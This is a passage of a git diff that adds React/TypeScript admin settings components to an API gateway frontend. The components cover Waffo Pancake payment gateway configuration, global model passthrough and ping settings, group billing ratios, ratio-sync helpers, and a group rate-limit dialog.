+  const [loading, setLoading] = useState(false)
+  const form = useForm<WaffoPancakeSettingsValues>({
+    defaultValues: props.defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(props.defaultValues)
+  }, [props.defaultValues, form])
+
+  const handleSave = async () => {
+    const values = form.getValues()
+    const enabled = !!values.WaffoPancakeEnabled
+    const sandbox = !!values.WaffoPancakeSandbox
+
+    if (enabled && !values.WaffoPancakeMerchantID.trim()) {
+      toast.error(t('Merchant ID is required'))
+      return
+    }
+
+    if (enabled && !values.WaffoPancakeStoreID.trim()) {
+      toast.error(t('Store ID is required'))
+      return
+    }
+
+    if (enabled && !values.WaffoPancakeProductID.trim()) {
+      toast.error(t('Product ID is required'))
+      return
+    }
+
+    const requiredWebhookKey = sandbox
+      ? values.WaffoPancakeWebhookTestKey
+      : values.WaffoPancakeWebhookPublicKey
+    if (enabled && !String(requiredWebhookKey || '').trim()) {
+      toast.error(
+        sandbox
+          ? t('Webhook public key (sandbox) is required')
+          : t('Webhook public key (production) is required')
+      )
+      return
+    }
+
+    if (enabled && Number(values.WaffoPancakeUnitPrice) <= 0) {
+      toast.error(t('Unit price must be greater than 0'))
+      return
+    }
+
+    if (enabled && Number(values.WaffoPancakeMinTopUp) < 1) {
+      toast.error(t('Minimum top-up amount must be at least 1'))
+      return
+    }
+
+    setLoading(true)
+    try {
+      const options: { key: string; value: string }[] = [
+        { key: 'WaffoPancakeEnabled', value: enabled ? 'true' : 'false' },
+        { key: 'WaffoPancakeSandbox', value: sandbox ? 'true' : 'false' },
+        {
+          key: 'WaffoPancakeMerchantID',
+          value: values.WaffoPancakeMerchantID || '',
+        },
+        {
+          key: 'WaffoPancakeStoreID',
+          value: values.WaffoPancakeStoreID || '',
+        },
+        {
+          key: 'WaffoPancakeProductID',
+          value: values.WaffoPancakeProductID || '',
+        },
+        {
+          key: 'WaffoPancakeReturnURL',
+          value: removeTrailingSlash(values.WaffoPancakeReturnURL || ''),
+        },
+        {
+          key: 'WaffoPancakeCurrency',
+          value: values.WaffoPancakeCurrency || 'USD',
+        },
+        {
+          key: 'WaffoPancakeUnitPrice',
+          value: String(values.WaffoPancakeUnitPrice ?? 1),
+        },
+        {
+          key: 'WaffoPancakeMinTopUp',
+          value: String(values.WaffoPancakeMinTopUp ?? 1),
+        },
+      ]
+
+      if ((values.WaffoPancakePrivateKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakePrivateKey',
+          value: values.WaffoPancakePrivateKey,
+        })
+      }
+
+      if ((values.WaffoPancakeWebhookPublicKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakeWebhookPublicKey',
+          value: values.WaffoPancakeWebhookPublicKey,
+        })
+      }
+
+      if ((values.WaffoPancakeWebhookTestKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakeWebhookTestKey',
+          value: values.WaffoPancakeWebhookTestKey,
+        })
+      }
+
+      for (const option of options) {
+        await updateOption.mutateAsync(option)
+      }
+      toast.success(t('Updated successfully'))
+    } catch {
+      toast.error(t('Update failed'))
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Waffo Pancake Payment Gateway')}
+      description={t(
+        'Configure Waffo Pancake hosted checkout integration for USD-priced top-ups'
+      )}
+    >
+      <Alert>
+        <AlertDescription className='text-xs'>
+          {t(
+            'Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook'
+          )}
+        </AlertDescription>
+      </Alert>
+
+      <div className='grid grid-cols-3 gap-4'>
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={form.watch('WaffoPancakeEnabled')}
+            onCheckedChange={(value) =>
+              form.setValue('WaffoPancakeEnabled', value)
+            }
+          />
+          <Label>{t('Enable Waffo Pancake')}</Label>
+        </div>
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={form.watch('WaffoPancakeSandbox')}
+            onCheckedChange={(value) =>
+              form.setValue('WaffoPancakeSandbox', value)
+            }
+          />
+          <Label>{t('Sandbox mode')}</Label>
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Currency')}</Label>
+          <Input placeholder='USD' {...form.register('WaffoPancakeCurrency')} />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-3 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Merchant ID')}</Label>
+          <Input
+            placeholder='MER_xxx'
+            {...form.register('WaffoPancakeMerchantID')}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Store ID')}</Label>
+          <Input
+            placeholder='STO_xxx'
+            {...form.register('WaffoPancakeStoreID')}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Product ID')}</Label>
+          <Input
+            placeholder='PROD_xxx'
+            {...form.register('WaffoPancakeProductID')}
+          />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('API Private Key')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakePrivateKey')}
+            className='font-mono text-xs'
+          />
+          <p className='text-muted-foreground text-xs'>
+            {t('Stored value is not echoed back for security')}
+          </p>
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Payment return URL')}</Label>
+          <Input
+            placeholder='https://example.com/console/topup'
+            {...form.register('WaffoPancakeReturnURL')}
+          />
+          <p className='text-muted-foreground text-xs'>
+            {t('Defaults to the wallet page when empty')}
+          </p>
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Webhook public key (production)')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakeWebhookPublicKey')}
+            className='font-mono text-xs'
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Webhook public key (sandbox)')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakeWebhookTestKey')}
+            className='font-mono text-xs'
+          />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Unit price (local currency / USD)')}</Label>
+          <Input
+            type='number'
+            step={0.01}
+            min={0}
+            {...form.register('WaffoPancakeUnitPrice', { valueAsNumber: true })}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Minimum top-up (USD)')}</Label>
+          <Input
+            type='number'
+            min={1}
+            {...form.register('WaffoPancakeMinTopUp', { valueAsNumber: true })}
+          />
+        </div>
+      </div>
+
+      <Button onClick={handleSave} disabled={loading}>
+        {loading ? t('Saving...') : t('Save Waffo Pancake settings')}
+      </Button>
+    </SettingsSection>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx
new file mode 100644
index 0000000..d7fdf90
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx
@@ -0,0 +1,395 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const thinkingBlacklistExample = JSON.stringify(
+  ['moonshotai/kimi-k2-thinking', 'kimi-k2-thinking'],
+  null,
+  2
+)
+
+const chatToResponsesPolicyExample = JSON.stringify(
+  {
+    enabled: true,
+    all_channels: false,
+    channel_ids: [1, 2],
+    model_patterns: ['^gpt-4o.*$', '^gpt-5.*$'],
+  },
+  null,
+  2
+)
+
+const chatToResponsesPolicyAllChannelsExample = JSON.stringify(
+  {
+    enabled: true,
+    all_channels: true,
+    model_patterns: ['^gpt-4o.*$', '^gpt-5.*$'],
+  },
+  null,
+  2
+)
+
+const jsonString = z.string().refine((value) => {
+  const trimmed = value.trim()
+  if (!trimmed) return true
+  try {
+    JSON.parse(trimmed)
+    return true
+  } catch {
+    return false
+  }
+}, 'Invalid JSON format')
+
+const schema = z.object({
+  global: z.object({
+    pass_through_request_enabled: z.boolean(),
+    thinking_model_blacklist: jsonString,
+    chat_completions_to_responses_policy: jsonString,
+  }),
+  general_setting: z.object({
+    ping_interval_enabled: z.boolean(),
+    ping_interval_seconds: z.coerce.number().min(1),
+  }),
+})
+
+type GlobalModelSettingsFormValues = z.output<typeof schema>
+type GlobalModelSettingsFormInput = z.input<typeof schema>
+
+type FlatGlobalModelSettings = {
+  'global.pass_through_request_enabled': boolean
+  'global.thinking_model_blacklist': string
+  'global.chat_completions_to_responses_policy': string
+  'general_setting.ping_interval_enabled': boolean
+  'general_setting.ping_interval_seconds': number
+}
+
+const flattenGlobalValues = (
+  values: GlobalModelSettingsFormValues
+): FlatGlobalModelSettings => ({
+  'global.pass_through_request_enabled':
+    values.global.pass_through_request_enabled,
+  'global.thinking_model_blacklist': normalizeJsonText(
+    values.global.thinking_model_blacklist,
+    '[]'
+  ),
+  'global.chat_completions_to_responses_policy': normalizeJsonText(
+    values.global.chat_completions_to_responses_policy,
+    '{}'
+  ),
+  'general_setting.ping_interval_enabled':
+    values.general_setting.ping_interval_enabled,
+  'general_setting.ping_interval_seconds':
+    values.general_setting.ping_interval_seconds,
+})
+
+function normalizeJsonText(value: string, fallback: string) {
+  const trimmed = (value ?? '').toString().trim()
+  return trimmed ? trimmed : fallback
+}
+
+type GlobalSettingsCardProps = {
+  defaultValues: GlobalModelSettingsFormValues
+}
+
+export function GlobalSettingsCard({ defaultValues }: GlobalSettingsCardProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<
+    GlobalModelSettingsFormInput,
+    unknown,
+    GlobalModelSettingsFormValues
+  >({
+    resolver: zodResolver(schema),
+    defaultValues: defaultValues as GlobalModelSettingsFormInput,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues as GlobalModelSettingsFormInput)
+  }, [defaultValues, form])
+
+  const pingEnabled = form.watch('general_setting.ping_interval_enabled')
+
+  const formatJsonField = (
+    field:
+      | 'global.thinking_model_blacklist'
+      | 'global.chat_completions_to_responses_policy'
+  ) => {
+    const raw = form.getValues(field)
+    if (!raw || !raw.trim()) return
+    try {
+      const formatted = JSON.stringify(JSON.parse(raw), null, 2)
+      form.setValue(field, formatted, { shouldDirty: true })
+    } catch {
+      toast.error(t('Invalid JSON format'))
+    }
+  }
+
+  const onSubmit = async (values: GlobalModelSettingsFormValues) => {
+    const flattenedDefaults = flattenGlobalValues(defaultValues)
+    const flattenedValues = flattenGlobalValues(values)
+    const updates = Object.entries(flattenedValues).filter(
+      ([key, value]) =>
+        value !== flattenedDefaults[key as keyof FlatGlobalModelSettings]
+    )
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({
+        key,
+        value,
+      })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Global Model Configuration')}
+      description={t(
+        'Control passthrough behavior and connection keep-alive settings'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='global.pass_through_request_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable Request Passthrough')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Forward requests directly to upstream providers without any post-processing.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='global.thinking_model_blacklist'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Disable thinking processing models')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={4}
+                    placeholder={`${t('Example:')}\n${thinkingBlacklistExample}`}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Models listed here will not automatically append or remove -thinking / -nothinking suffixes.'
+                  )}
+                </FormDescription>
+                <div className='flex flex-wrap gap-2'>
+                  <Button
+                    type='button'
+                    variant='outline'
+                    size='sm'
+                    onClick={() =>
+                      formatJsonField('global.thinking_model_blacklist')
+                    }
+                  >
+                    {t('Format JSON')}
+                  </Button>
+                </div>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Separator />
+
+          <div className='space-y-4'>
+            <div className='flex items-center gap-2'>
+              <h3 className='text-base font-semibold'>
+                {t('ChatCompletions -> Responses Compatibility')}
+              </h3>
+              <StatusBadge
+                label={t('Preview')}
+                variant='neutral'
+                copyable={false}
+              />
+            </div>
+
+            <Alert>
+              <AlertTitle>{t('Warning')}</AlertTitle>
+              <AlertDescription>
+                {t(
+                  'This feature is experimental. Configuration format and behavior may change.'
+                )}
+              </AlertDescription>
+            </Alert>
+
+            <FormField
+              control={form.control}
+              name='global.chat_completions_to_responses_policy'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Policy JSON')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      rows={8}
+                      placeholder={`${t('Example (specific channels):')}\n${chatToResponsesPolicyExample}\n\n${t('Example (all channels):')}\n${chatToResponsesPolicyAllChannelsExample}`}
+                      {...field}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Empty value will be saved as {}.')}
+                  </FormDescription>
+                  <div className='flex flex-wrap gap-2'>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        form.setValue(
+                          'global.chat_completions_to_responses_policy',
+                          chatToResponsesPolicyExample,
+                          { shouldDirty: true }
+                        )
+                      }
+                    >
+                      {t('Fill example (specific channels)')}
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        form.setValue(
+                          'global.chat_completions_to_responses_policy',
+                          chatToResponsesPolicyAllChannelsExample,
+                          { shouldDirty: true }
+                        )
+                      }
+                    >
+                      {t('Fill example (all channels)')}
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        formatJsonField(
+                          'global.chat_completions_to_responses_policy'
+                        )
+                      }
+                    >
+                      {t('Format JSON')}
+                    </Button>
+                  </div>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Separator />
+
+          <FormField
+            control={form.control}
+            name='general_setting.ping_interval_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Keep-alive Ping')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Periodically send ping frames to keep streaming connections active.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='general_setting.ping_interval_seconds'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Ping Interval (seconds)')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    min={1}
+                    disabled={!pingEnabled}
+                    className='w-24'
+                    value={
+                      field.value === undefined || field.value === null
+                        ? ''
+                        : String(field.value)
+                    }
+                    onChange={(event) => field.onChange(event.target.value)}
+                    onBlur={field.onBlur}
+                    name={field.name}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Recommended to keep this high to avoid upstream throttling.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx
new file mode 100644
index 0000000..1e92d73
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx
@@ -0,0 +1,278 @@
+import { memo, useCallback, useState } from 'react'
+import { type UseFormReturn } from 'react-hook-form'
+import { Code2, Eye } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { GroupRatioVisualEditor } from './group-ratio-visual-editor'
+import { GroupSpecialUsableRulesEditor } from './group-special-usable-editor'
+
+type GroupFormValues = {
+  GroupRatio: string
+  TopupGroupRatio: string
+  UserUsableGroups: string
+  GroupGroupRatio: string
+  AutoGroups: string
+  DefaultUseAutoGroup: boolean
+  GroupSpecialUsableGroup: string
+}
+
+type GroupRatioFormProps = {
+  form: UseFormReturn<GroupFormValues>
+  onSave: (values: GroupFormValues) => Promise<void>
+  isSaving: boolean
+}
+
+export const GroupRatioForm = memo(function GroupRatioForm({
+  form,
+  onSave,
+  isSaving,
+}: GroupRatioFormProps) {
+  const { t } = useTranslation()
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+
+  const handleFieldChange = useCallback(
+    (field: keyof GroupFormValues, value: string) => {
+      form.setValue(field, value, {
+        shouldValidate: true,
+        shouldDirty: true,
+      })
+    },
+    [form]
+  )
+
+  const toggleEditMode = useCallback(() => {
+    setEditMode((prev) => (prev === 'visual' ? 'json' : 'visual'))
+  }, [])
+
+  return (
+    <div className='space-y-6'>
+      <div className='flex justify-end'>
+        <Button variant='outline' size='sm' onClick={toggleEditMode}>
+          {editMode === 'visual' ? (
+            <>
+              <Code2 className='mr-2 h-4 w-4' />
+              {t('Switch to JSON')}
+            </>
+          ) : (
+            <>
+              <Eye className='mr-2 h-4 w-4' />
+              {t('Switch to Visual')}
+            </>
+          )}
+        </Button>
+      </div>
+
+      <Form {...form}>
+        {editMode === 'visual' ? (
+          <div className='space-y-6'>
+            <GroupRatioVisualEditor
+              groupRatio={form.watch('GroupRatio')}
+              topupGroupRatio={form.watch('TopupGroupRatio')}
+              userUsableGroups={form.watch('UserUsableGroups')}
+              groupGroupRatio={form.watch('GroupGroupRatio')}
+              autoGroups={form.watch('AutoGroups')}
+              onChange={(field, value) =>
+                handleFieldChange(field as keyof GroupFormValues, value)
+              }
+            />
+
+            <GroupSpecialUsableRulesEditor
+              value={form.watch('GroupSpecialUsableGroup')}
+              onChange={(value) =>
+                handleFieldChange('GroupSpecialUsableGroup', value)
+              }
+            />
+
+            <FormField
+              control={form.control}
+              name='DefaultUseAutoGroup'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Default to auto groups')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'When enabled, newly created tokens start in the first auto group.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <Button onClick={form.handleSubmit(onSave)} disabled={isSaving}>
+              {isSaving ? t('Saving...') : t('Save group ratios')}
+            </Button>
+          </div>
+        ) : (
+          <form onSubmit={form.handleSubmit(onSave)} className='space-y-6'>
+            <FormField
+              control={form.control}
+              name='GroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Group ratios')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of group → ratio applied when the user selects the group explicitly.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='TopupGroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Top-up group ratios')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as'
+                    )}
+                    {` { "default": 1, "vip": 1.2 }`}.
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='UserUsableGroups'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Selectable groups')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of group → description exposed when users create API keys.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='GroupGroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Inter-group overrides')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Nested JSON: source group →')}{' '}
+                    {`{ targetGroup: ratio }`}{' '}
+                    {t(
+                      'to override billing when a user in one group uses a token of another group.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AutoGroups'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Auto assignment order')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON array of group identifiers. When enabled below, new tokens rotate through this list.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='GroupSpecialUsableGroup'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Special usable group rules')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='DefaultUseAutoGroup'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Default to auto groups')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'When enabled, newly created tokens start in the first auto group.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <Button type='submit' disabled={isSaving}>
+              {isSaving ? t('Saving...') : t('Save group ratios')}
+            </Button>
+          </form>
+        )}
+      </Form>
+    </div>
+  )
+})
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts
new file mode 100644
index 0000000..ea4f00b
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts
@@ -0,0 +1,84 @@
+import type { RatioType } from '../types'
+import { RATIO_TYPE_OPTIONS } from './constants'
+
+export type RatioDifferenceEntry = {
+  current: number | string | null
+  upstreams: Record<string, number | string | 'same'>
+  confidence: Record<string, boolean>
+}
+
+export type ModelRow = {
+  key: string
+  model: string
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>
+  billingConflict: boolean
+}
+
+export type ResolutionsMap = Record<string, Record<string, number | string>>
+
+export const RATIO_SYNC_FIELDS: RatioType[] = [
+  'model_ratio',
+  'completion_ratio',
+  'cache_ratio',
+  'create_cache_ratio',
+  'image_ratio',
+  'audio_ratio',
+  'audio_completion_ratio',
+]
+
+export const SYNC_FIELD_ORDER: RatioType[] = [
+  ...RATIO_SYNC_FIELDS,
+  'model_price',
+  'billing_mode',
+  'billing_expr',
+]
+
+export const NUMERIC_SYNC_FIELDS = new Set<string>([
+  ...RATIO_SYNC_FIELDS,
+  'model_price',
+])
+
+export function getSyncFieldLabel(
+  ratioType: string,
+  t: (key: string) => string
+): string {
+  const opt = RATIO_TYPE_OPTIONS.find((o) => o.value === ratioType)
+  if (opt) return t(opt.label)
+  return ratioType
+}
+
+export function getOrderedRatioTypes(
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>,
+  filter?: string
+): RatioType[] {
+  const keys = Object.keys(ratioTypes) as RatioType[]
+  const ordered = [
+    ...SYNC_FIELD_ORDER.filter((f) => keys.includes(f)),
+    ...keys.filter((f) => !SYNC_FIELD_ORDER.includes(f)),
+  ]
+  if (!filter || filter === '__all__') return ordered
+  return ordered.filter((f) => f === filter)
+}
+
+export function getPreferredSyncField(
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>,
+  ratioType: RatioType,
+  sourceName: string
+): RatioType {
+  const exprValue = ratioTypes.billing_expr?.upstreams?.[sourceName]
+  if (
+    ratioType !== 'billing_expr' &&
+    exprValue !== null &&
+    exprValue !== undefined &&
+    exprValue !== 'same'
+  ) {
+    return 'billing_expr'
+  }
+  return ratioType
+}
+
+export function isSelectableUpstreamValue(
+  value: number | string | 'same' | null | undefined
+): boolean {
+  return value !== null && value !== undefined && value !== 'same'
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx
new file mode 100644
index 0000000..484fb57
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx
@@ -0,0 +1,212 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const rateLimitDialogSchema = z.object({
+  groupName: z.string().min(1, 'Group name is required'),
+  maxRequests: z
+    .number()
+    .min(0, 'Must be ≥ 0')
+    .max(2147483647, 'Must be ≤ 2,147,483,647'),
+  maxSuccess: z
+    .number()
+    .min(1, 'Must be ≥ 1')
+    .max(2147483647, 'Must be ≤ 2,147,483,647'),
+})
+
+type RateLimitDialogFormValues = z.infer<typeof rateLimitDialogSchema>
+
+export type RateLimitEntryData = {
+  groupName: string
+  maxRequests: number
+  maxSuccess: number
+}
+
+type RateLimitDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: RateLimitEntryData) => void
+  editData?: RateLimitEntryData | null
+}
+
+export function RateLimitDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: RateLimitDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+
+  const form = useForm<RateLimitDialogFormValues>({
+    resolver: zodResolver(rateLimitDialogSchema),
+    defaultValues: {
+      groupName: '',
+      maxRequests: 0,
+      maxSuccess: 1,
+    },
+  })
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        groupName: '',
+        maxRequests: 0,
+        maxSuccess: 1,
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: RateLimitDialogFormValues) => {
+    onSave(values)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode
+              ? t('Edit group rate limit')
+              : t('Add group rate limit')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure rate limiting rules for a specific user group.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='groupName'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Group Name')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('e.g., default, vip, premium')}
+                      {...field}
+                      disabled={isEditMode}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {isEditMode
+                      ? t('Group name cannot be changed when editing.')
+                      : t('Unique identifier for this group.')}
